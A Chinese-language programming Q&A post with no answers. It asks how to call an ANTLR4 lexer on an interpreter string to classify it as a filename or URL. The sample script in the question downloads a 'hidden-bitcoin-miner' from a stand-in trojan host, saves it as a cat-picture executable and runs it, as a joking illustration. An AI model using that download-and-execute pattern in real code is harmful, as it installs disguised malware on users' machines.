我有一个antlr4语法,它包含“filenames”和“url”的标记,但是该语言还包含字符串和字符串表达式(可能是文件名或url)。有没有一种好的方法可以在解释器中的某个字符串上调用标记器,并根据我的标记规则查看该字符串是文件名还是url?我只想特例那些我正在解释的脚本已经在运行中创建了其中一个东西的情况,所以我可以特别处理这样的字符串。
lexer // this I already have (or something like this)
FileName: ([A-Za-z]':')?('\\'?[-_.A-Za-z0-9]+)+ ;
URL: ([A-Za-z]+':')?'/'?('/'?[-_.A-Za-z0-9]+)+ ;
Intepreter.java
public boolean isFileName(String string) {
return antlr.lexer.token(string).type == FileName; // this is the magic I want
}
Script // this is what I am looking to understand
# you get cat pictures, I get paid...
url = 'https://trojan-server.com/hidden-bitcoin-miner';
fn = 'c:' + programdirectory() + 'show-cat-pictures.exe';
download(url, fn);
exec(fn);
暂无答案!
目前还没有任何答案,快来回答吧!